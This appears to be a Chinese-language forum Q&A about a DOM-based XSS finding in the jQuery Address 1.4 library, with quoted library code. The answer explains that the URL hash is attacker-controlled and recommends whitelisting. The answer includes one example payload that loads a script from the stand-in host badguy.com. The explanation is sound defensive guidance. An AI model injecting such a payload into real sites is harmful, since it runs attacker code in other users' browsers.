我最近在我的网站上运行了一个安全扫描,其中一个正在使用的JS文件被标记为有DOM跨站脚本问题,我不确定如何修复它。
文件:jquery.address1.4.js
下面是标记的代码部分的脚本:
_supported =
(_mozilla && _version >= 1) ||
(_msie && _version >= 6) ||
(_opera && _version >= 9.5) ||
(_webkit && _version >= 523);
if (_supported) {
if (_opera) {
history.navigationMode = 'compatible';
}
if (document.readyState == 'complete') {
var interval = setInterval(function() {
if ($.address) {
_load();
clearInterval(interval);
}
}, 50);
} else {
_options();
$(_load);
}
$(window).bind('popstate', _popstate).bind('unload', _unload);
} else if (!_supported && _hrefHash() !== '') {
_l.replace(_l.href.substr(0, _l.href.indexOf('#')));
} else {
_track();
}
代码行是这样的:
_l.replace(_l.href.substr(0, _l.href.indexOf('#')));
扫描告诉我消毒输入,但我不确定它指的是什么,因为我们在网站上没有"输入"。如何修复上述代码,使其能够通过安全扫描?
编辑:这是_l
的值_l = _t.location,
来自:_window = function() {
try {
return top.document !== UNDEFINED ? top : window;
} catch (e) {
return window;
}
},
ID = 'jQueryAddress',
STRING = 'string',
HASH_CHANGE = 'hashchange',
INIT = 'init',
CHANGE = 'change',
INTERNAL_CHANGE = 'internalChange',
EXTERNAL_CHANGE = 'externalChange',
TRUE = true,
FALSE = false,
_opts = {
autoUpdate: TRUE,
crawlable: FALSE,
history: TRUE,
strict: TRUE,
wrap: FALSE
},
_browser = $.browser,
_version = parseFloat($.browser.version),
_mozilla = _browser.mozilla,
_msie = _browser.msie,
_opera = _browser.opera,
_webkit = _browser.webkit || _browser.safari,
_supported = FALSE,
_t = _window(),
_d = _t.document,
_h = _t.history,
_l = _t.location,
_si = setInterval,
_st = setTimeout,
_re = //{2,9}/g,
_agent = navigator.userAgent,
_frame,
_form,
_url = _search(document),
_qi = _url ? _url.indexOf('?') : -1,
_title = _d.title,
_silent = FALSE,
_loaded = FALSE,
_justset = TRUE,
_juststart = TRUE,
_updating = FALSE,
_listeners = {},
_value = _href();
在本例中,未消毒的值将是从URL检索到的散列值。URL中"#"之前的任何值都应该被清除,以确保攻击者无法在该上下文中提供他们自己的javascript。
只是因为这个值可能不是一个明确的用户提供的"输入",没有什么可以阻止恶意用户提供一个恶意的值,如:
#"><script src=http://badguy.com/xss.js />
将在其他用户的上下文中执行。
对于这个例子,一个有效的防御,或者输入清理,将是一个白名单方法。只接受#的已知值,不允许攻击者提供任何可能的内容。
这是一个关于防御基于DOM的XSS的很好的资源https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet我建议你通读一下